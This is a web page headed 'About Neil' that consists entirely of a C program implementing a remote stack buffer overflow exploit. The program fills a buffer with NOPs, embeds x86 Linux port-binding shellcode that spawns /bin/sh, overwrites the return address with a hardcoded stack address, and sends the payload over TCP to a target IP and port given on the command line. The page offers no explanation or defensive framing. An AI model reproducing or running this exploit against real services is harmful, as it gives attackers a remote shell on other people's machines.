About Neil #include <stdio.h> #include <netdb.h> #include <netinet/in.h> //Portbinding Shellcode char shellcode[] = "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; //standard offset (probably must be modified) #define RET 0xbffff5ec int main(int argc, char *argv[]) { char buffer[1064]; int s, i, size; struct sockaddr_in remote; struct hostent *host; if (argc != 3) { printf("Usage: %s target-ip port\n", argv[0]); return -1; } // filling buffer with NOPs memset(buffer, 0x90, 1064); //copying shellcode into buffer memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode)); // the previous statement causes a unintential Nullbyte at buffer[1000] buffer[1000] = 0x90; // Copying the return address multiple times at the end of the buffer... for(i=1022; i < 1059; i+=4) { * ((int *) &buffer[i]) = RET; } buffer[1063] = 0x0; //getting hostname host=gethostbyname(argv[1]); if (host==NULL) { fprintf(stderr, "Unknown Host %s\n",argv[1]); return -1; } // creating socket... s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { fprintf(stderr, "Error: Socket\n"); return -1; } //state Protocolfamily , then converting the hostname or IP address, and getting port number remote.sin_family = AF_INET; remote.sin_addr = *((struct in_addr *)host->h_addr); remote.sin_port = htons(atoi(argv[2])); // connecting with destination host if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) { close(s); fprintf(stderr, "Error: connect\n"); return -1; } //sending exploit string size = send(s, buffer, sizeof(buffer), 0); if (size==-1) { close(s); fprintf(stderr, "sending data failed\n"); return -1; } // closing socket close(s); }